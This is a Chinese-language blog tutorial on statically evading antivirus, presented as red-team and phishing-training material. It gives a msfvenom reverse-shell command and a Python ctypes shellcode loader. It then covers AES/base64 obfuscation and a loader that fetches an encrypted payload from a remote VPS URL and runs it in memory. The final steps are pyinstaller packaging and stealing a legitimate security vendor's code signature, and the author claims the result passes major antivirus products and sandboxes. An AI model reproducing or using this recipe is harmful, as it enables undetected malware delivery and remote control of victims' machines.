免杀教程一:静态免杀
本文所涉及的任何技术、信息或工具,仅供学习和参考之用。
请勿利用本文提供的信息从事任何违法活动或不当行为。
任何因使用本文所提供的信息或工具而导致的损失、后果或不良影响,均由使用者个人承担责任,与本文作者无关。
作者不对任何因使用本文信息或工具而产生的损失或后果承担任何责任。
使用本文所提供的信息或工具即视为同意本免责声明,并承诺遵守相关法律法规和道德规范。
前言
2024年12月7日校验通过各大杀软
包括:
360安全卫士、360杀毒、360企业安全云、火绒安全软件、Windows Defender、天守安全软件及天擎、卡巴斯基、金山毒霸、微步云沙箱、奇安信情报云沙箱、绿盟情报沙箱、VT红了1个(这个没办法,将shellcode改为计算器这个依然是红的)。
(很多大佬说不能上传到VT上一个检测到其他的就会将这个规则特征加入到他们的库中。但是问题不大我这个特征可以随便改,且只以特征去看是很正常的程序。最主要的是之前做了一个免杀,开始为2个红,至今1年半了,仍为2个红,这个后续有机会再来分享)。
本文是给红队成员在攻防中搭建可用C2连接的学习教程。
前段时间在搞企业安全意识的钓鱼培训,发现网上流传的方法确实好,但是大部分安服苦于没有免杀马不能很好的模拟APT和护网攻击队的钓鱼场景。
通常来说,正常处于办公状态的企业员工电脑,都至少开启了微软自带的Windows Defender以及一款国产的杀毒软件,做的不够好或者思路太死板的马直接就给你拦截了,那么就无从判断是企业员工的安全意识强,还是社工已经成功让员工执行了木马,但是被杀软检测到后防御住。
给大家看看这个免杀马的钓鱼效果还是不错的:
此仅为甲方安全的场景,更多的还是在攻防中的内网横向和钓鱼中用到的。
还有一种特殊情况:客户要求不能联通外网,且内网中部署了安全设备能够检测到流量,但是企业从成本出发,不可能派驻已有人员驻场维护或者开发系统,这时候我们需要搭隧道,就需要免杀上场了。
(为啥要说这些呢,是联想到某天和一个资方大佬聊天,问我比正常的安服人员强在哪里?代码审计能力也有,但是不知道他说的一般的安服的水平是指什么,从我接触到的来说,代审技术都不错都是大佬,所以这点不敢说。那么只能从另一个方面来忽悠说,从内网渗透说到企业网络安全架构最终再到免杀对抗技术。然后问我这个方向的终极技术——免杀对抗技术,对于甲方的企业安全建设有什么用?说实话,这个问题问的我确实有点懵,但是最终表述为上述的内容。😉 ^ v ^ 😉)
制作流程
授人以鱼不如授人以渔因此有个这个系列的教程~ ~ ~
此处静态免杀制作流程分为七步。(为了给大家看清楚这个流程,所以没有像大佬哥一样直接丢一个exe放个你的二进制c2马就好)。
也是为了给大家看看,Python也可以做免杀,不是一定要用C/C++,但是最好不要用GO,这个真的是被检测的太死了。安全大佬们用GO用的太多了
为了大家方便理解,这里先列出来使用到的5个文件:
1、“zhixing.py”-原始加载器:用来执行原始shellcode
2、“base64值AES+BASE64加密.py”:混淆加密shellcode及zhixing.py中的shellcode执行函数
3、“加密.py”:用来混淆加密第2步修改后的zhixing.py
4、“all_loa.py”-终极加载器:用来解密并执行“加密.py”生成的文件
5、"123.py":改自大佬的任意程序签名窃取脚本
OK,现在这里了解了各个代码的功能,让我们正式开始进行静态混淆加密之旅~ ~ ~
1、生成自己的C2马以及执行函数
1、msf或者cs生成shellcode:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=
只要\xfc\x48\x83\这种格式的。
或者自己导出Cobalt Strike的马,记得去除shellcode中的零字节占位符,让马子变小一点。
(也可以换为其他任意此种格式的加载器的马,推荐使用cs4.9魔改版的马文件,CS低版本的和MSF一样流量特征在还没进行下一章的流量免杀时,
会被360安全卫士、火绒6以上版本、天守安全软件以及各个云沙箱发现,但是cs4.9用了小半年,从来没有被发现过。
火绒6相比之前做了大更新,会检测连接的远端IP,如果被标为恶意,静态和动态做的再好也不行。天守安全软件同样也是这种情况。
但是只要发现了这一点,随便进行一点简单的静态混淆加密就可以很轻松的绕过。)
所以不建议大家使用自己的VPS服务器,不然IP信誉变黑就很难受,在没换这个黑名单服务器、做云函数或做域前置之前怎么搞都能被检测到,差点怀疑人生了。
2、原始加载器zhixing.py代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import base64
import ctypes
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import sys
def jiazai(buf):
Shellcode = bytearray(buf)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(Shellcode)),ctypes.c_int(0x3000),ctypes.c_int(0x40))
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr), buf, ctypes.c_int(len(Shellcode)))
handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_uint64(ptr),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
if __name__ == '__main__':
key = sys.argv[1].encode('utf-8')
cipher = AES.new(key, AES.MODE_ECB)
base_code=""
jiazai(decrypted)
1 |
|
其中需要的依赖在最后打包那里,需要的朋友自行往下翻。
2、shellcode混淆加密
1、将python木马所有buf内容直接替换到“base64值AES+BASE64加密.py”中,要使用二进制格式,在buf=””这里加个b,即buf=b””。
2、使用“base64值AES+BASE64加密.py”生成“加密字符串1”。
建议使用:
python base64值AES+BASE64加密.py > 123.txt
然后直接复制123.txt值,不然太长了CMD显示不下。
3、执行函数混淆加密
1、给ctypes变个名字:
import ctypes as yaoseng
然后使用全局替换让所有的ctypes都变为yaoseng这个值。
2、同上,使用“base64值AES+BASE64加密.py”给整个函数加密,
即:将这个函数进行base64加密后,将值填入“base64值AES+BASE64加密.py”并运行,将输出的值填入原始加载器“zhixing.py”的func_str,
3、因为上述加上了aes加密所以要写一个获取aes值的代码,如下:
4、运行时要携带aes解密参数(这一点就是绕过沙箱及杀软静态检测)
如果为了在沙箱上线,看看沙箱的情况,那么也可以不带,直接把马的解密参数写入到文件中,对你想的没错,微步云沙箱和奇安信情报云沙箱可以被上线。
整合好代码之后,将上一步生成的“加密字符串1”值填写到原始加载器“zhixing.py”的base_code值中(此处填写后先验证zhixing.py能否成功上线)。
1 | python zhixing.py yas_abcdyas_abcd |
5、终极混淆加密
1、分离免杀
运行“加密.py”生成yaoseng.txt,
将yaoseng.txt放到vps的任意端口上,例如:http://111.111.111.111:7890/yaoseng.txt
(攻防时这里建议使用云函数+域前置,不会被溯源到真实VPS的IP,只验证免杀则不需要)云函数+域前置将在下章节继续讲解此章节则只讲静态免杀。
这里得提一嘴,至今在应急中遇到这种非本人真实的域名都不知怎么溯源,如果是真实黑客攻击只有👮报警一条路,可能本人对于溯源是个小菜鸡,
若有想法请邮件联系,指导一下DD。
2、终极加载器混淆加密(非最后的加载器样式)
使用GPT进行混淆即可,让它生成一个替换所有代码的脚本,混淆加密完的all_loa加载器代码如下:
此时在all_loa.py中填写上yaoseng.txt对应的URL地址即可使用python all_loa.py来验证是否能够成功上线了。
(即让all_loa去远程获取yaoseng.txt的值,解密后在内存中执行。)
以后若有其他需要只要安装上述流程改下yaoseng.txt内容,这个all_loa加载器都是通用的。
6、终极加载器all_loa生成:
经过多次验证后,发现分离加载获取的流量还是比较大,行为还是比较明显的,为了上线少一些流量,此处再次修改原始加载器zhixing.py代码。
1、填充shellcode+aes密钥硬编码技巧:
修改为填充shellcode字段+把aes密钥也硬编码到代码中,但是这里硬编码有技巧(哈拉少免杀学来的YYDS!!!)1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25char a[] = {'h','e','l','l','o',0}; 这样的形式,如果编译器为release模式,则会优化,
以四个字符进行输出,即:hell lo/x00/x00这样的形式。
debug模式则不会。
要使用char a[9]={0};
a[1]='h';
a[2]='e';
a[3]='l';
a[4]='l';
a[5]='o';
这样的形式则release模式也不会优化输出了,找不到任何凑在一起的字符;
还可以这样:
char a[9]={0};
char b[4]={0};
a[1]='h';
a[2]='e';
b[1]='1';
a[3]='l';
b[2]='3';
a[4]='l';
b[3]='a';
a[5]='o';
这样AI引擎也不可能识别到。
因为这样比较麻烦,也懒得写代码,而且写了这种代码会增加程序的熵值。
所以只对16位置的aes密钥进行这种运算,而不对shellcode进行这种运算。这样就算对代码进行逆向也不能轻易还原出来密钥值。
把刚刚混淆后的shellcode也写入到原始加载器“zhixing.py”中。
2、修改原始加载器zhixing.py
将原始加载器zhixing.py为代码中的参数读取模式。
将马填写好后,同样运行“加密.py”生成yaoseng.txt,
3、修改终极加载器all_loa.py
将all_loa.py为本地读取参数模式。
(2、3这两步过于简单,若不会可使用GPT修改。)
(且这两处为修改特征值的关键步骤,简单且关键,就不给大家展示了)
将yaoseng.txt值替换到all_loa.py的base_code中即可验证能否成功执行并且上线。
4、终极加载器打包生成:
首先一定要选择一台新建的虚拟机然后配置环境,否则打包过程会引入奇奇怪怪的东西,导致莫名奇妙的就被360报毒了。
(用Python写calc代码多次尝试的结果)。
1 | pyinstaller --onefile --noconsole --hidden-import=ctypes --hidden-import=Crypto.Cipher.AES --hidden-import=Crypto.Util.Padding all_loa.py |
7、程序签名窃取
若Windows Defender因程序未签名而报错,则使用以下方法窃取合法的签名:
1 | python 123.py -i qaxdoctor.exe -t all_loa.exe -o 1.exe |
注:生成后的1.exe不能修改名字否则会直接被发现使用签名窃取,只能在生成的时候命名好程序名字。
此处为窃取了奇安信天守的签名。
只进行这一步窃取,很多恶意程序都可以在不经过混淆加密和其他任何改动的情况下通过火绒6以及天守安全软件的扫描。
总结
现在你已经明白了如何进行静态免杀的原理。
1、实战演示
我们来实际演示一下——经过上述修改后的五个代码如何使用最终能够生成免杀程序:
1、将shellcode进行加密:
2、将函数进行加密(上述已经加密过这里不用改了)并将两个值都填入到“zhixing.py”,验证是否能够成功上线:
3、使用“加密.py”生成”yaoseng.txt“文件并将”yaoseng.txt“文件内容填入”all_loa.py”文件,验证是否能够成功上线:
4、将all_loa.py进行打包,验证是否能够成功上线:
上述过程即绕过了第5步。
(当然你也可以不使用第6步使用第5步来打包生成加载器,依赖都一样。这样运行的时候还需要手动输入aes密钥。在内网横向的时候用效果也还不错,但是不能用于钓鱼了。)
5、窃取合法程序签名
2、免杀验证
OK,现在已经完成了,静态免杀,让我们来看看实际效果。(可以看到都特么的四点半了,先睡了QAQ)
这个ss.exe为all_loa.exe使用签名窃取之后生成的程序。
效果如下:所有杀软白名单都为空,别说静态查杀了连动态检测都开启了,结果是全部通过。前提是别上来就输入whoami、ipcofnig、net user等等敏感命令。
3、彩蛋
彩蛋:上线奇安信情报云沙箱及微步云沙箱。
可以看到奇安信情报云沙箱即使在我上线后,依然提示“未发现风险”,天守安全软件和天擎的病毒分析排查弱于这个沙箱的能力,可想而知更容易绕过了。
可以看到奇安信云沙箱已经获取到了我执行的命令:hostname以及net user,但是这两个命令太明显了,被拦截了。
不过,非敏感命令是可以执行的,比如CS的ls命令、Winodws的tasklist以及ps -ef等等。
此为在奇安信云沙箱中成功执行了ls的截图。
微步云沙箱情况一模一样就不截图了。。。基友找我打云顶了,哪里有空写QAQ。